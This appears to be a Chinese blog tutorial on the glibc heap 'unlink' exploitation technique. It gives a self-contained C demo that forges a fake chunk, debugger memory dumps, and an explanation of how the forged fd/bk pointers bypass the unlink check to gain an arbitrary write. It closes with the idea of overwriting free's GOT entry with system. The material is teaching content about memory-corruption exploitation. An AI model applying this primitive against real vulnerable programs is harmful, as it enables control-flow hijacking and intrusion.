欢迎光临散文网 会员登陆 & 注册

二进制安全之堆溢出(系列)—— unlink

2020-04-10 10:07 作者:汇智知了堂  | 我要投稿

本文是二进制安全之堆溢出系列的第五章节,主要介绍unlink。

源程序

    #include <stdio.h> #include <malloc.h> #include <unistd.h> #include <string.h> long long list[30]={0}; int main() {    char *p = malloc(0x80);    char *q = malloc(0x80);    char *r = malloc(0x80);    sleep(0);    printf("%p\n",list);    list[0] = p;    sleep(0);    printf("%p\n",&p);    *(long *) p = 0;    *(long *) (p+8) = 0x81;    *(long *) (p+16) = list - 0x3;    *(long *) (p+24) = list - 0x2;    *(long *) (q-16) = 0x80;    *(long *) (q-8) = 0x90;    sleep(0);    free(q);    sleep(0);    strcpy(list[0],"111111111111111111111111\x38\x10\x60");  //由于list指向了list-0x18的位置,所以需要0x18个1来填充    sleep(0);    strcpy(list[0],"dddddddd");  //相当于*list[0] = "dddddddd"    malloc(0);    sleep(0);    return 0; }

调试

  • 初始堆的情况

    0x602000 PREV_INUSE {       ----> p prev_size = 0, size = 145, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602090 PREV_INUSE {  ---> q prev_size = 0, size = 145, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602120 PREV_INUSE {  --->r prev_size = 0, size = 145, fd = 0x0, bk = 0x0,  fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x6021b0 PREV_INUSE {  --->top chunk prev_size = 0, size = 134737, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }

list[0] = p之后list的内存布局

    0×601080 <list>:0×00000000006020100×0000000000000000

打印p的地址

    0x7fffffffdc20

p堆块改头换面

  0x602000:   0x0000000000000000  0x0000000000000091 0x602010:   0x0000000000000000  0x0000000000000081      --->从这里开始改造 0x602020:   0x0000000000601068  0x0000000000601070      --->list - 0x18 list - 0x10 0x602030:   0x0000000000000000  0x0000000000000000

q堆块改头换面

原始的q堆块 0x602090:   0x0000000000000080  0x0000000000000091  --->Pre_inuse为1,表示p堆块正在使用中 0x6020a0:   0x0000000000000000  0x0000000000000000 改造后q堆块 0x602090:   0x0000000000000080  0x0000000000000090  -->更改p堆块的size以及inuse状态,便于合并及unlink 0x6020a0:   0x0000000000000000  0x0000000000000000

此时达到的效果,当free q的时候,就会前向合并,触发unlink

free q之后

   0x602000 PREV_INUSE { prev_size = 0, size = 145, fd = 0x0, bk = 0x111, fd_nextsize = 0x7ffff7dd1b78 <main_arena+88>, bk_nextsize = 0x7ffff7dd1b78 <main_arena+88> } 0x602090 { prev_size = 128, size = 144, fd = 0x0,                       ===>指向0 bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602120 { prev_size = 272,            ===>从这里可以看出p,q合并了 size = 144, fd = 0x0, bk = 0x0,  fd_nextsize = 0x0, bk_nextsize = 0x0 }

list[0]第一次赋值

  0x601080 <list>:    0x0000000000601038  0x0000000000000000

此时0x601038的内容

 0x601038:   0x00007ffff7a91130  0x00007ffff7ad9230 0x601048:   0x0000000000000000  0x0000000000000000 0x601058:   0x0000000000000000  0x0000000000000000 0x601068:   0x3131313131313131  0x3131313131313131 0x601078:   0x3131313131313131  0x0000000000601038 0x601088 <list+8>:  0x0000000000000000  0x0000000000000000

list[0]第二次赋值

 0x601080 <list>:0x00000000006010380x0000000000000000

此时0x601038的内容

 0x601038:   0x6464646464646464  0x00007ffff7ad9200      ==>我们写入的dddddddd到了这里 0x601048:   0x0000000000000000  0x0000000000000000 0x601058:   0x0000000000000000  0x0000000000000000 0x601068:   0x3131313131313131  0x3232323232323232 0x601078:   0x3333333333333333  0x0000000000601038 0x601088 <list+8>:  0x0000000000000000  0x0000000000000000

原理

绕过检查的方式 p ->fd = list[0] - 0x18 p ->bk = list[0] - 0x10 list[0] = p 为什么这样就饶过检查了呢 检查的原理: p->fd->bk = p && p->bk->fd = p 简单的加法: p->fd->bk = p->fd+0x18 = list[0] = p p->bk->fd = p->bk+0x18 = list[0] = p unlink的操作实现了什么效果 断链的操作:p->fd->bk = p->bk && p->bk->fd = p->fd 方程组解析: 因为: p->fd->bk = *(list[0] - 0x18 + 0x18) # 理解这一点至关重要,可以把p->fd理解为一个指针 p->fd->bk = p->bk p->bk = list[0] - 0x10 所以:*(list[0]) = list[0] - 0x10 同理:*(list[0]) = list[0] - 0x18 效果: list[0]指向了低三个指针长度的内存空间 现在编辑list[0],就相当于更改低三个指针长度的内存空间(L)的内容 假设现在list[0] = free_got,*L = system,当再次free一个堆块的时候,就会调用system。


二进制安全之堆溢出(系列)—— unlink的评论 (共 条)

分享到微博请遵守国家法律